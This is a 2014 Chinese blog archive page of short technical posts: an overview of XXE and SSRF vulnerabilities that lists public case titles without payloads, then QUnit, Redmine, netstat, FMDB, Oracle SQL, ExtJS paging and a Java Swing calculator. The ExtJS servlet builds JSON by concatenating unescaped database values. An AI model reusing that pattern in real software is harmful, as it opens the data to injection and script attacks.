  实际上,如果要挖漏洞或者做测试,从乌云上找案例会比较方便,除了常见的几类代码层面的问题,更多的是配置不当方面的,最终归结到信息安全链上最脆弱的还是人本身
  除了上面提到的这些,其实还有很多的漏洞啊,跟设备有关系的就先不说了,再提一下两个看起来不错的:XXE、SSRF(or XSPA)
  XXE:XML外部实体注入,不仅仅是敏感信息泄露,腾讯安全中心:XXE漏洞攻防
  案例:
  1. 乌云:百度某功能XML实体注入
  2. 乌云:139邮箱XXE漏洞可读取文件
  3. 乌云:从开源中国的某XXE漏洞到主站shell
  SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网,没爆出来的估计很多被用作杀器了
  案例:
  1. 乌云:百度贴吧SSRF
  2. 乌云:新浪SSRF
  3. 乌云:阿里巴巴SSRF
  上面几个案例有的是分享功能,有的是其他功能,共同点在于都是跟的url参数,且没做限制,导致内网信息泄露
  (未完...)

posted @ 2014-12-11 23:26 顺其自然EVO 阅读(3937) | 评论 (0)编辑 收藏

QUnit单元测试文档

QUnit.test( "hello test", function ( assert ) {
assert.ok( 1 == "1", "Passed!" );
} )
  //综述
var test = [
"QUnit.asyncTest()",//Add an asynchronous test to run. The test must include a call to QUnit.start().
"QUnit.module()", //Group related tests under a single label. 一个标签下的组相关测试
"QUnit.test()" //Add a test to run.
],
assertProperties = [
"deepEqual",//深度递归比较,基本类型,数组、对象、正则表达式、日期和功能
"notDeepEqual",
"equal",
"notEqual",
"strictEqual",//严格比较 值和类型
"strictEqual",
"propEqual",//用于严格对比对象 包括对象的值、属性的数据类型 (类似== 和===的差别)
"notPropEqual",
"expect",//期望(数量)注册一个预期的计数。如果断言运行的数量不匹配预期的统计,测试就会失败。
"ok",// 一个布尔检查
"push",//输出封装的JavaScript函数返回的结果报告
"throws"//测试如果一个回调函数抛出一个异常,并有选择地比较抛出的错误。
],
asyncControl = [
"asyncTest", // QUnit测试异步代码。asyncTest将自动停止测试运行器,等待您的代码调用QUnit.start()继续。
"start", //Start running tests again after the testrunner was stopped
"stop"  //当异步测试有多个出口点,使用QUnit.stop 增加解除test runner等待 应该调用QUnit.start()的次数。
],
callbackHandlers = [
"begin",
"done",
"log",
"moduleStart",
"moduleDone",
"testStart",
"testDone"
],
Configuration = [
"assert",
"config",
"QUnit.dump.parse()",
"QUnit.extend() "
];
 //region test
QUnit.test( "a test", function ( assert ) {
function square( x ) {
return x * x;
}
var result = square( 2 );
assert.equal( result, 4, "square(2) equals 4" );
} );
QUnit.asyncTest( "asynchronous test: one second later!", function ( assert ) {
assert.expect( 1 );
setTimeout( function () {
assert.ok( true, "Passed and ready to resume!" );
QUnit.start();
}, 1000 );
} );
//endregion
  //region assert 断言
//deepEqual   对应notDeepEqual() 深度递归比较,基本类型,数组、对象、正则表达式、日期和功能
QUnit.test( "deepEqual test", function ( assert ) {
var obj = { foo : "bar" };
assert.deepEqual( obj, { foo : "bar" }, "Two objects can be the same in value" );
} );
QUnit.test( "notDeepEqual test", function ( assert ) {
var obj = { foo : "bar" };
assert.notDeepEqual( obj, { foo : "bla" }, "Different object, same key, different value, not equal" );
} );
//equal 对应notEqual()
QUnit.test( "a test", function ( assert ) {
assert.equal( 1, "1", "String '1' and number 1 have the same value" );
assert.equal( 0, 0, "Zero, Zero; equal succeeds" );
assert.equal( "", 0, "Empty, Zero; equal succeeds" );
assert.equal( "", "", "Empty, Empty; equal succeeds" );
assert.equal( "three", 3, "Three, 3; equal fails" );
assert.equal( null, false, "null, false; equal fails" );
} );
QUnit.test( "a test", function ( assert ) {
assert.notEqual( 1, "2", "String '2' and number 1 don't have the same value" );
} );
//strictEqual()  notStrictEqual()
QUnit.test( "strictEqual test", function ( assert ) {
assert.strictEqual( 1, 1, "1 and 1 have the same value and type" );
} );
QUnit.test( "a test", function ( assert ) {
assert.notStrictEqual( 1, "1", "String '1' and number 1 have the same value but not the same type" );
} );
//propEqual notPropEqual 用于严格对比对象 包括对象的值、属性的数据类型 (equal和propEqual 类似== 和===的差别)
QUnit.test( "notPropEqual test", function ( assert ) {
function Foo( x, y, z ) {
this.x = x;
this.y = y;
this.z = z;
}
Foo.prototype.doA = function () {
};
Foo.prototype.doB = function () {
};
Foo.prototype.bar = 'prototype';
var foo = new Foo( 1, "2", [] );
var bar = new Foo( "1", 2, {} );
assert.notPropEqual( foo, bar, "Properties values are strictly compared." );
} );
//expect 期望(数量)注册一个预期的计数。如果断言运行的数量不匹配预期的统计,测试就会失败。
QUnit.test( "a test", function ( assert ) {
assert.expect( 3 );
function calc( x, operation ) {
return operation( x );
}
var result = calc( 2, function ( x ) {
assert.ok( true, "calc() calls operation function" );
return x * x;
} );
assert.equal( result, 4, "2 squared equals 4" );
} );
//ok  一个布尔检查
QUnit.test( "ok test", function ( assert ) {
assert.ok( true, "true succeeds" );
assert.ok( "non-empty", "non-empty string succeeds" );
assert.ok( false, "false fails" );
assert.ok( 0, "0 fails" );
assert.ok( NaN, "NaN fails" );
assert.ok( "", "empty string fails" );
assert.ok( null, "null fails" );
assert.ok( undefined, "undefined fails" );
} );
//push() 输出封装的JavaScript函数返回的结果报告
//一些测试套件可能需要表达一个期望,不是由任何QUnit内置的断言。这种需要一个封装的JavaScript函数,该函数返回一个布尔值,表示结果,这个值可以传递到QUnit的断言。
QUnit.assert.mod2 = function ( value, expected, message ) {
var actual = value % 2;
this.push( actual === expected, actual, expected, message );
};
QUnit.test( "mod2", function ( assert ) {
assert.expect( 2 );
assert.mod2( 2, 0, "2 % 2 == 0" );
assert.mod2( 3, 1, "3 % 2 == 1" );
} );
//测试如果一个回调函数抛出一个异常,并有选择地比较抛出的错误。
QUnit.test( "throws", function ( assert ) {
function CustomError( message ) {
this.message = message;
}
CustomError.prototype.toString = function () {
return this.message;
};
assert.throws(
function () {
throw "error"
},
"throws with just a message, not using the 'expected' argument"
);
assert.throws(
function () {
throw new CustomError( "some error description" );
},
/description/,
"raised error message contains 'description'"
);
assert.throws(
function () {
throw new CustomError();
},
CustomError,
"raised error is an instance of CustomError"
);
assert.throws(
function () {
throw new CustomError( "some error description" );
},
new CustomError( "some error description" ),
"raised error instance matches the CustomError instance"
);
assert.throws(
function () {
throw new CustomError( "some error description" );
},
function ( err ) {
return err.toString() === "some error description";
},
"raised error instance satisfies the callback function"
);
} );
//endregion
  //region async-control异步控制
//QUnit.asyncTest() QUnit测试异步代码。asyncTest将自动停止测试运行器,等待您的代码调用QUnit.start()继续。
QUnit.asyncTest( "asynchronous test: one second later!", function ( assert ) {
assert.expect( 1 );
setTimeout( function () {
assert.ok( true, "Passed and ready to resume!" );
QUnit.start();
}, 1000 );
} );
QUnit.asyncTest( "asynchronous test: video ready to play", function ( assert ) {
assert.expect( 1 );
var $video = $( "video" );
$video.on( "canplaythrough", function () {
assert.ok( true, "video has loaded and is ready to play" );
QUnit.start();
} );
} );
//QUnit.start() Start running tests again after the testrunner was stopped
//QUnit.stop()  当异步测试有多个出口点,使用QUnit.stop 增加解除test runner等待 应该调用QUnit.start()的次数。
QUnit.test( "a test", function ( assert ) {
assert.expect( 1 );
QUnit.stop();
setTimeout( function () {
assert.equal( "someExpectedValue", "someExpectedValue", "ok" );
QUnit.start();
}, 150 );
} );
//endregion
  //region module QUnit.module()后发生的所有测试调用将被分到模块,直到调用其他其他QUnit.module()。
// 测试结果的测试名称都将使用模块名称。可以使用该模块名称来选择模块内的所有测试运行。
//Example: Use the QUnit.module() function to group tests together:
QUnit.module( "group a" );
QUnit.test( "a basic test example", function ( assert ) {
assert.ok( true, "this test is fine" );
} );
QUnit.test( "a basic test example 2", function ( assert ) {
assert.ok( true, "this test is fine" );
} );
QUnit.module( "group b" );
QUnit.test( "a basic test example 3", function ( assert ) {
assert.ok( true, "this test is fine" );
} );
QUnit.test( "a basic test example 4", function ( assert ) {
assert.ok( true, "this test is fine" );
} );
//Example: A sample for using the setup and teardown callbacks
QUnit.module( "module A", {
setup : function () {
// prepare something for all following tests
},
teardown : function () {
// clean up after each test
}
} );
//Example: Lifecycle properties are shared on respective test context 在测试环境下共享各自的生命周期内的属性
QUnit.module( "Machine Maker", {
setup : function () {
},
parts : [ "wheels", "motor", "chassis" ]
} );
QUnit.test( "makes a robot", function ( assert ) {
this.parts.push( "arduino" );
assert.equal( this.parts, "robot" );
assert.deepEqual( this.parts, [ "robot" ] );
} );
QUnit.test( "makes a car", function ( assert ) {
assert.equal( this.parts, "car" );
assert.deepEqual( this.parts, [ "car", "car" ] );
} );
//endregion
  //region callback
//begin  Register a callback to fire whenever the test suite begins.
QUnit.begin( function ( details ) {
console.log( "Test amount:", details.totalTests );
} );
//done  Register a callback to fire whenever the test suite ends.
QUnit.done( function ( details ) {
console.log( "Total: ", details.total, " Failed: ", details.failed, " Passed: ", details.passed, " Runtime: ", details.runtime );
} );
//log  Register a callback to fire whenever an assertion completes.
QUnit.log( function ( details ) {
if ( details.result ) {
return;
}
var loc = details.module + ": " + details.name + ": ",
output = "FAILED: " + loc + ( details.message ? details.message + ", " : "" );
if ( details.actual ) {
output += "expected: " + details.expected + ", actual: " + details.actual;
}
if ( details.source ) {
output += ", " + details.source;
}
console.log( output );
} );
//moduleStart  Register a callback to fire whenever a module begins.
QUnit.moduleStart( function ( details ) {
console.log( "Now running: ", details.name );
} );
//moduleDone  Register a callback to fire whenever a module ends.
QUnit.moduleDone( function ( details ) {
console.log( "Finished running: ", details.name, "Failed/total: ", details.failed, details.total );
} );
//testStart Register a callback to fire whenever a test begins.
QUnit.testStart( function ( details ) {
console.log( "Now running: ", details.module, details.name );
} );
//testDone Register a callback to fire whenever a test ends.
QUnit.testDone( function ( details ) {
console.log( "Finished running: ", details.module, details.name, "Failed/total: ", details.failed, details.total, details.duration );
} );
//endregion
 //region Configuration
//assert Namespace for QUnit assertions
QUnit.test( "`ok` assertion defined in the callback parameter", function ( assert ) {
assert.ok( true, "on the object passed to the `test` function" );
} );
//config Configuration for QUnit
QUnit.config.autostart = false;
QUnit.config.current.testName = "zodiac";
QUnit.config.urlConfig.push( {
id : "jquery",
label : "jQuery version",
value : [ "1.7.2", "1.8.3", "1.9.1" ],
tooltip : "What jQuery Core version to test against"
} );
//QUnit.dump.parse() 它解析数据结构和对象序列化为字符串。也解析DOM元素outerHtml为字符串
QUnit.log( function ( obj ) {
// Parse some stuff before sending it.
var actual = QUnit.dump.parse( obj.actual );
var expected = QUnit.dump.parse( obj.expected );
// Send it.
} );
var qHeader = document.getElementById( "qunit-header" ),
parsed = QUnit.dump.parse( qHeader );
console.log( parsed );
// Logs: "<h1 id=\"qunit-header\"></h1>"
//QUnit.extend() Copy the properties defined by the mixin object into the target object
QUnit.test( "QUnit.extend", function ( assert ) {
var base = {
a : 1,
b : 2,
z : 3
};
QUnit.extend( base, {
b : 2.5,
c : 3,
z : undefined
} );
assert.equal( base.a, 1, "Unspecified values are not modified" );
assert.equal( base.b, 2.5, "Existing values are updated" );
assert.equal( base.c, 3, "New values are defined" );
assert.ok( !( "z" in base ), "Values specified as `undefined` are removed" );
} );
//endregion

posted @ 2014-12-11 23:24 顺其自然EVO 阅读(153) | 评论 (0)编辑 收藏

项目管理工具Redmine各功能测试

 Redmine功能测试
  Redmine 是一个开源的、基于Web的项目管理和缺陷跟踪工具。它用日历和甘特图辅助项目及进度可视化显示。同时它又支持多项目管理。Redmine是一个自由开放 源码软件解决方案,它提供集成的项目管理功能,问题跟踪,并为多个版本控制选项的支持。
  虽说像IBM Rational Team Concert的商业项目调查工具已经很强大了,但想坚持一个自由和开放源码的解决方案,可能会发现Redmine是一个有用的Scrum和敏捷的选择。 由于Redmine的设计受到Rrac的较大影响,所以它们的软件包有很多相似的特征。
  Redmine建立在Ruby on Rails的框架之上,支持跨平台和多种数据库
  特征:
  支持多项目
  灵活的基于角色的访问控制
  灵活的问题跟踪系统
  甘特图和日历
  新闻、文档和文件管理
  feeds 和邮件通知
  依附于项目的wiki
  项目论坛
  简单实时跟踪功能
  自定义字段的问题,时间项,项目和用户
  SCM in集成 (SVN, CVS, Git, Mercurial, Bazaar and Darcs)
  多个 LDAP认证支持
  用户自注册支持
  多语言支持
  多数据库支持
  功能测试前需设置语言,登录的主界面如下,选择管理--配置可以选择默认语言为中文。
  常用的功能主要有以下几个
  1、可以灵活的任意新建项目,并选择自己所需要的模块。
  2、控制各用户的角色权限
  3、可以新建问题,并自定义问题类型。


  4、在甘特图和日历里可以清楚的看到还未完成的任务。
  5、详尽的新闻、文档和文件管理
  6、可以导出feeds ,并选择邮件通知
  7、项目可创建wiki,简介说明该项目。
  8、项目带论坛,可供开发人员交流思想。
  9、可以跟踪做的所有变更,简单实时跟踪功能
 

10、丰富的自定义功能,可以自定义字段的问题、时间项、项目和用户
  11、方便快捷的支持现有的源码管理系统,SCM in集成 (SVN, CVS, Git, Mercurial, Bazaar and Darcs)
  12、支持多种用户认证方式,LDAP认证支持
  13、支持用户自注册,并可自选语言。
  14、支持多种数据库。
  PostgreSQL, SQLite3 and SQL Server。

posted @ 2014-12-11 23:18 顺其自然EVO 阅读(197) | 评论 (0)编辑 收藏

Linux用netstat查看服务及监听端口

  [root@localhost ~]# netstat -nlp
  netstat命令各个参数说明如下:
  -t : 指明显示TCP端口
  -u : 指明显示UDP端口
  -l : 仅显示监听套接字(所谓套接字就是使应用程序能够读写与收发通讯协议(protocol)与资料的程序)
  -p : 显示进程标识符和程序名称,每一个套接字/端口都属于一个程序。
  -n : 不进行DNS轮询(可以加速操作)
  即可显示当前服务器上所有端口及进程服务,于grep结合可查看某个具体端口及服务情况
  [root@localhost ~]# netstat -nlp |grep LISTEN   //查看当前所有监听端口
  [root@localhost ~]# netstat -nlp |grep 80   //查看所有80端口使用情况
  [root@localhost ~]# netstat -an | grep 3306   //查看所有3306端口使用情况

posted @ 2014-12-08 22:01 顺其自然EVO 阅读(1484) | 评论 (0)编辑 收藏

iOS开发之FMDB

  sqlite作为一个轻量级的数据库,由于它占用的内存很少,因此在很多的嵌入式设备中得到广泛的使用。iOS的SDK很早就开始支持了SQLite,我们只需要加入 libsqlite3.dylib 以及引入 sqlite3.h 头文件即可,但由于原生sqlite的API不是很友好,因此使用的话一般会对其做一层封装,其中以开源的FMDB最为流行。
  FMDB主要的类
  1.FMDatabase – 表示一个单独的SQLite数据库。 用来执行SQLite的命令。
  2.FMResultSet – 表示FMDatabase执行查询后结果集
  3.FMDatabaseQueue – 当你在多线程中执行操作,使用该类能确保线程安全。
  FMDB的使用
  数据库的创建:
  创建FMDatabase对象时需要参数为SQLite数据库文件路径。该路径可以是以下三种之一:
  1..文件路径。该文件路径无需真实存,如果不存在会自动创建。
  2..空字符串(@”")。表示会在临时目录创建一个临时数据库,当FMDatabase 链接关闭时,文件也被删除。
  3.NULL. 将创建一个内存数据库。同样的,当FMDatabase连接关闭时,数据会被销毁。
  内存数据库:
  通常数据库是存放在磁盘当中的。然而我们也可以让存放在内存当中的数据库,内存数据库的优点是对其操作的速度较快,毕竟访问内存的耗时低于访问磁盘,但内存数据库有如下缺陷:由于内存数据库没有被持久化,当该数据库被关闭后就会立刻消失,断电或程序崩溃都会导致数据丢失;不支持读写互斥处理,需要自己手动添加锁;无法被别的进程访问。
  临时数据库:
  临时数据库和内存数据库非常相似,两个数据库连接创建的临时数据库也是各自独立的,在连接关闭后,临时数据库将自动消失,其底层文件也将被自动删除。尽管磁盘文件被创建用于存储临时数据库中的数据信息,但是实际上临时数据库也会和内存数据库一样通常驻留在内存中,唯一不同的是,当临时数据库中数据量过大时,SQLite为了保证有更多的内存可用于其它操作,因此会将临时数据库中的部分数据写到磁盘文件中,而内存数据库则始终会将数据存放在内存中。
  创建数据库:FMDatabase *db= [FMDatabase databaseWithPath:dbPath] ;
  在进行数据库的操作之前,必须要先把数据库打开,如果资源或权限不足无法打开或创建数据库,都会导致打开失败。
  如下为创建和打开数据库的示例:
  NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
  NSString *documentDirectory = [paths objectAtIndex:0];
  //dbPath: 数据库路径,存放在Document中。
  NSString *dbPath = [documentDirectory stringByAppendingPathComponent:@"MYTest.db"];
  //创建数据库实例 db  这里说明下:如果路径中不存在"MYTest.db"的文件,sqlite会自动创建"MYTest.db"
  FMDatabase *db= [FMDatabase databaseWithPath:dbPath] ;
  if (![db open]) {
  NSLog(@"Could not open db.");
  return ;
  }
  更新操作
  一切不是SELECT命令都视为更新操作,包括CREATE, UPDATE, INSERT,ALTER,COMMIT, BEGIN, DETACH, DELETE, DROP, END, EXPLAIN, VACUUM和REPLACE等。
  创建表:
  [db executeUpdate:@"CREATE TABLE myTable (Name text,Age integer)"];
  插入
  [db executeUpdate:@"INSERT INTO myTable (Name,Age) VALUES (?,?)",@"jason",[NSNumber numberWithInt:20]];
  更新
  [db executeUpdate:@"UPDATE myTable SET Name = ? WHERE Name = ? ",@"john",@"jason"];.
  删除
  [db executeUpdate:@"DELETE FROM myTable WHERE Name = ?",@"jason"];
  查询操作
  SELECT命令就是查询,执行查询的方法是以 -excuteQuery开头的。执行查询时,如果成功返回FMResultSet对象, 错误返回nil. 读取信息的时候需要用while循环:
  FMResultSet *s = [db executeQuery:@"SELECT * FROM myTable"];
  while ([s next]) {
  //从每条记录中提取信息
  }
  关闭数据库
  当使用完数据库,你应该 -close 来关闭数据库连接来释放SQLite使用的资源。
  [db close];
  参数
  通常情况下,你可以按照标准的SQL语句,用?表示执行语句的参数,如:
  INSERT INTO myTable VALUES (?, ?, ?)
  然后,可以我们可以调用executeUpdate方法来将?所指代的具体参数传入,通常是用变长参数来传递进去的,如下:
  NSString *sql = @"insert into myTable (name, password) values (?, ?)";
  [db executeUpdate:sql, user.name, user.password];
  这里需要注意的是,参数必须是NSObject的子类,所以象int,double,bool这种基本类型,需要进行相应的封装
  [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:42]];

多线程操作
  由于FMDatabase对象本身不是线程安全的,因此为了避免在多线程操作的时候出错,需要使用 FMDatabaseQueue来执行相关操作。只需要利用一个数据库文件地址来初使化FMDatabaseQueue,然后传入一个block到inDatabase中,即使是多个线程同时操作,该queue也会确保这些操作能按序进行,保证线程安全。
  创建队列:
  FMDatabaseQueue *queue = [FMDatabaseQueue databaseQueueWithPath:aPath];
  使用方法:
[queue inDatabase:^(FMDatabase *db) {
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:1]];
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:2]];
FMResultSet *rs = [db executeQuery:@"select * from foo"];
while([rs next]) {
}
}];
  至于事务可以像这样处理:
[queue inTransaction:^(FMDatabase *db, BOOL *rollback) {
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:1]];
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:2]];
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:3]];
if (somethingWrongHappened) {
*rollback = YES;
return;
}
// etc…
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:4]];
}];

posted @ 2014-12-08 22:00 顺其自然EVO 阅读(1434) | 评论 (0)编辑 收藏

查看表空间使用的两条常用SQL

1. 查看表空间大小:
  SELECT tablespace_name, SUM(bytes)/1024/1024 total FROM DBA_FREE_SPACE GROUP BY tablespace_name ORDER BY 2 DESC;
  SQL> SELECT tablespace_name, SUM(bytes)/1024/1024 || 'MB' total FROM DBA_FREE_SPACE GROUP BY tablespace_name ORDER BY 2 DESC;
  注意下上面两条SQL的排序,显然第一条SQL是我们需要的结果,按照表空间大小降序排列。之所以第二条SQL的排序乱,是因为使用了|| 'MB'连接字符串,则这个字段就作为字符串类型检索,排序时就会按照字符的ASCII进行排序。
  2. 查看表空间使用率:
SQL> BREAK ON REPORT
SQL> COMPUT SUM OF tbsp_size ON REPORT
SQL> compute SUM OF used        ON REPORT
SQL> compute SUM OF free         ON REPORT
SQL> COL tbspname     FORMAT     a20          HEADING 'Tablespace Name'
SQL> COL tbsp_size       FORMAT     999,999   HEADING 'Size|(MB)'
SQL> COL used             FORMAT     999,999    HEADING 'Used|(MB)'
SQL> COL free              FORMAT      999,999   HEADING 'Free|(MB)'
SQL> COL pct_used       FORMAT     999,999    HEADING '% Used'
SQL> SELECT df.tablespace_name                              tbspname,
sum(df.bytes)/1024/1024                                           tbsp_size,
nvl(sum(e.used_bytes)/1024/1024,0)                         used,
nvl(sum(f.free_bytes)/1024/1024,0)                            free,
nvl((sum(e.used_bytes)*100)/sum(df.bytes),0)            pct_used
FROM DBA_DATA_FILES df,
(SELECT file_id, SUM(nvl(bytes, 0)) used_bytes
FROM dba_extents
GROUP BY file_id) e,
(SELECT MAX(bytes) free_bytes, file_id
FROM dba_free_space
GROUP BY file_id) f
WHERE e.file_id(+) = df.file_id
AND df.file_id = f.file_id(+)
GROUP BY df.tablespace_name
ORDER BY 5 DESC;
  视图定义:

posted @ 2014-12-08 21:56 顺其自然EVO 阅读(246) | 评论 (0)编辑 收藏

Extjs分页使用Java实现数据库数据查询

关于Ext分 页功能的实现。项目用的是js、Ext、servlet。下面贴下代码:
var obj = this;
var pageSize = 20;   //统计结果分页每一页显示数据条数
//在这里使用Store来创建一个类似于数据表的结构,因为需要远程获取数据,所以应该使用
//HttpProxy类,我是从后台读取的是json数据格式的数据,所以使用JsonReader来解析;
var proxy = new Ext.data.HttpProxy({
url:"com.test.check.servlets.QueryDetailServlet"
});
var statTime = Ext.data.Record.create([
{name:"rowNo",type:"string",mapping:"rowNo"},
{name:"gpsid",type:"string",mapping:"gpsid"},
{name:"policeName",type:"string",mapping:"policeName"}
]);
var reader = new Ext.data.JsonReader({
totalProperty:"count", //此处与后台json数据中相对应,为数据的总条数
root:"data"      //这里是后台json数据相对应
},statTime);
var store = new Ext.data.Store({
proxy:proxy,
reader:reader
});
//定义分页工具条
var bbarObj = new Ext.PagingToolbar({
pageSize: pageSize,
store: store,
width: 300,
displayInfo: true,      //该属性为需要显示分页信息是设置
//这里的数字会被分页时候的显示数据条数所自动替换显示
displayMsg: '显示第 {0} 条到 {1} 条记录,一共 {2} 条',
emptyMsg: "没有记录",
prependButtons: true
});
在我的项目中使用的是GridPanel来进行显示数据表,所以定义如下:
var grid = new Ext.grid.GridPanel({
store: store,
columns: [
{header:'序号',width: 33, sortable: true,dataIndex:'rowNo',align:'center'},
{id:'gpsid',header:'GPS编号',width: 85, sortable: true,dataIndex:'gpsid',align:'center'},
{header:'警员名称',width: 90, sortable: true,dataIndex:'policeName',align:'center'}
],
region:'center',
stripeRows: true,
title:'统计表',
autoHeight:true,
width:302,
autoScroll:true,
loadMask:true,
stateful: true,
stateId: 'grid',
columnLines:true,
bbar:bbarObj   //将分页工具栏添加到GridPanel上
});
//在以下方法中向后台传送需要的参数,在后台servlet中可以使用
//request.getParameter("");方法来获取参数值;
store.on('beforeload',function(){
store.baseParams={
code: code,
timeType: timeType,
timeValue: timeValue
}
});
//将数据载入,这里参数为分页参数,会根据分页时候自动传送后台
//也是使用request.getParameter("")获取
store.reload({
params:{
start:0,
limit:pageSize
}
});
duty.leftPanel.add(grid); //将GridPanel添加到我项目中使用的左侧显示栏
duty.leftPanel.doLayout();
duty.leftPanel.expand();  //左侧显示栏滑出
 后台servlet获取前台传输的参数:
response.setContentType("text/xml;charset=GBK");
String orgId = request.getParameter("code");
String rangeType = request.getParameter("timeType");
String rangeValue = request.getParameter("timeValue");
String start  = request.getParameter("start");
String limit = request.getParameter("limit");
StatService ss = new StatService();
String json = ss.getStatByOrganization(orgId, rangeType, rangeValue, start, limit);
PrintWriter out = response.getWriter();
out.write(json);
out.flush();
out.close();
  下面讲以下后台将从数据库查询的数据组织成前台需要的格式的json数据串
StringBuffer json = new StringBuffer();
String jsonData = "";
......
//这里用前台传来的参数进行数据库分页查询
int startNum = new Integer(start).intValue();
int limitNum = new Integer(limit).intValue();
startNum = startNum + 1;
limitNum = startNum + limitNum;
......
rs = ps.executeQuery();
//这里的count即是前台创建的数据格式中的数据总数名称,与之对应,data同样
json.append("{count:" + count + ",data:[{");
int i = startNum - 1;  //该变量用来设置数据显示序号
while(rs.next()){
i = i + 1;
//这里的rowNo与前台配置的数据字段名称想对应,下面同样
json.append("rowNo:'" + i + "',");
String gpsId = rs.getString("GPSID");
json.append("gpsid:'" + gpsId + "',");
String policeName = rs.getString("CALLNO");
json.append("policeName:'" + policeName + "',");
json.append("},{");
}
jsonData = json.substring(0, json.length()-2);
jsonData = jsonData + "]}";
//组成的json数据格式应该是:
//{count:count,data:[{rowNo:rowNo,gpsId:gpsId,policeName:policeName},....]}
  就这样完成了前台的数据查询交互;
  希望我的例子对各位有用。

posted @ 2014-12-08 21:55 顺其自然EVO 阅读(453) | 评论 (0)编辑 收藏

Java 图像处理小软件(界面+图像处理)

一、界面学习
  用java实现一个简易计算器(代码)如下:
1 /*CJSCalculator.java 2014.8.4 by cjs
2  *当点击含有加号的按钮时,则第一排第二个按钮的文本变为加号;
3  *当点击“OK”按钮时,将算出12+2的结果并在第一排最后一个按钮显示;
4  *减号,乘号,除号的功能类似。其中,数字可以自己输入,也可以固定不变。
5  *以上是简单的版本,如果有能力可以设计出更好更完善的计算器。
6 **/
7
8 import java.awt.*;
9 import javax.swing.*;
10 import java.awt.event.*;
11 public class CjsCalculator extends JFrame implements ActionListener {
12     /* 继承Jframe 实现 ActionListener 接口*/
13
14         //协助关闭窗口
15         private class WindowCloser extends WindowAdapter {
16         public void windowClosing(WindowEvent we) {
17             System.exit(0);
18         }
19     }
20     //strings for operator buttons.
21
22     private String[] str = { "+", "-", "*", "/", "OK"};
23
24     //build buttons.
25
26     JButton[] Obuttons = new JButton[str.length];
27         //reset button
28     JButton Rbutton = new JButton("reset");
29
30         //build textfield to show num and result
31
32     private JTextField display = new JTextField("0");
33     private JTextField Fnum = new JTextField("");
34     private JTextField Snum = new JTextField("");
35     private JTextField Otext = new JTextField("");
36     private JTextField Deng = new JTextField("=");
37
38     int i = 0;
39
40     //构造函数定义界面
41     public CjsCalculator() {
42
43         Deng.setEditable(false);
44         display.setEditable(false);
45     Otext.setEditable(false);
46     //super 父类
47     //    super("Calculator");
48
49         //panel 面板容器
50         JPanel panel1 = new JPanel(new GridLayout(1,5));
51         for (i = 0; i < str.length; i++) {
52             Obuttons[i] = new JButton(str[i]);
53                 Obuttons[i].setBackground(Color.YELLOW);
54             panel1.add(Obuttons[i]);
55         }
56
57         JPanel panel2 = new JPanel(new GridLayout(1,5));
58         panel2.add(Fnum);
59         panel2.add(Otext);
60         panel2.add(Snum);
61         panel2.add(Deng);
62         panel2.add(display);
63
64         JPanel panel3 = new JPanel(new GridLayout(1,1));
65         panel3.add(Rbutton);
66                 //初始化容器
67         getContentPane().setLayout(new BorderLayout());
68         getContentPane().add("North",panel2);
69         getContentPane().add("Center",panel1);
70         getContentPane().add("South",panel3);
71         //Add listener for Obuttons.
72         for (i = 0; i < str.length; i++)
73             Obuttons[i].addActionListener(this);
74
75         display.addActionListener(this);
76             Rbutton.addActionListener(this);
77         setSize(8000,8000);//don't use ???
78
79         setVisible(true);//???
80                 //不可改变大小
81                 setResizable(false);
82         //初始化容器
83         pack();
84     }
85
86         //实现监听器的performed函数
87     public void actionPerformed(ActionEvent e) {
88                 Object happen = e.getSource();
89         //
90         String label = e.getActionCommand();
91
92         if ("+-*/".indexOf(label) >= 0)
93             getOperator(label);
94         else if (label == "OK")
95             getEnd(label);
96         else if ("reset".indexOf(label) >= 0)
97              // display.setText("reset");
98                       resetAll(label);
99     }
00         public void resetAll(String key) {
101             Fnum.setText("");
102         Snum.setText("");
103         display.setText("");
104         Otext.setText("");
105     }
106     public void getOperator(String key) {
107         Otext.setText(key);
108     }
109
110     public void getEnd(String label) {
111                 if( (countDot(Fnum.getText()) > 1) || (countDot(Snum.getText())>1) || (Fnum.getText().length()==0) ||
(Snum.getText().length() == 0)) {
112                     display.setText("error");
113                 }
114         else if(checkNum(Fnum.getText())==false || checkNum(Snum.getText())==false){
115                 display.setText("error");
116              }
117         else {
118                 double Fnumber = Double.parseDouble(Fnum.getText().trim());
119             double Snumber = Double.parseDouble(Snum.getText().trim());
120             if (Fnum.getText() != "" && Snum.getText() != "") {
121                    if (Otext.getText().indexOf("+") >= 0) {
122                     double CjsEnd = Fnumber + Snumber;
123                     display.setText(String.valueOf(CjsEnd));
124                 }
125                                 else if (Otext.getText().indexOf("-")>=0) {
126                                        double CjsEnd = Fnumber - Snumber;
127                                         display.setText(String.valueOf(CjsEnd));
128                                 }
129                         else if (Otext.getText().indexOf("*")>=0) {
130                                         double CjsEnd = Fnumber * Snumber;
131                                            display.setText(String.valueOf(CjsEnd));
132                                 }
133                                 else if (Otext.getText().indexOf("/")>=0) {
134                                         double CjsEnd = Fnumber / Snumber;
135                                         display.setText(String.valueOf(CjsEnd));
136                                 }
137                 else
138                     display.setText("error");
139
140             }
141             else
142                 display.setText("num is null");
143                 }
144
145     }
146         public int countDot(String str) {
147         int count = 0;
148         for (char c:str.toCharArray()) {
149             if (c == '.')
150                 count++;
151         }
152         return count;
153         }
154         public boolean checkNum(String str) {
155            boolean tmp = true;
156         for (char c:str.toCharArray()) {
157             if (Character.isDigit(c) || (c == '.'));
158             else {
159                 tmp = false;
160                 break;
161             }
162         }
163         return tmp;
164         }
165     public static void main(String[] args) {
166         new CjsCalculator();
167     }
168 }
  终端运行该java文件,结果如图所示:

posted @ 2014-12-08 21:54 顺其自然EVO 阅读(269) | 评论 (0)编辑 收藏

Java并发编程:synchronized

